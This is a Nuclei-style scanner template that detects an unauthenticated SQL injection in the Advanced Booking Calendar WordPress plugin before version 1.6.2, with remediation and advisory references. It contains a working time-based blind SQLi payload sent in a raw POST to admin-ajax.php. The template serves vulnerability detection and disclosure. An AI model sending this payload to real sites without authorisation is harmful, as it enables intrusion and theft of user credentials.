id: advanced-booking-calendar-sqli info: name: Advanced Booking Calendar < 1.6.2 - SQL Injection author: theamanrawat severity: critical description: | The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address. remediation: Fixed in version 1.6.2 reference: - https://wpscan.com/vulnerability/bac7b590-70de-45b3-bdc2-19f90524ca39 - https://wordpress.org/plugins/advanced-booking-calendar/ metadata: verified: true max-request: 1 tags: time-based,sqli,wpscan,wordpress,wp-plugin,wp,advanced-booking-calendar,unauthenticated http: - raw: - | @timeout: 10s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 calendarId=1)+AND+(SELECT+2065+FROM+(SELECT(SLEEP(6)))jtGw)+AND+(5440=5440&from=2010-05-05&to=2010-05-09&action=abc_booking_getBookingResult matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains(body, "abc-result-header")' condition: and # digest: 4a0a00473045022100911dda2c9ecb635c07a0eb8758dac8adfab1112796dc578775f0a197ac5425b7022064f018e0b0f597b3799bde3c6b552bba4265318edae79251a0507484458e0e92:922c64590222798bb761d5b6d8e72950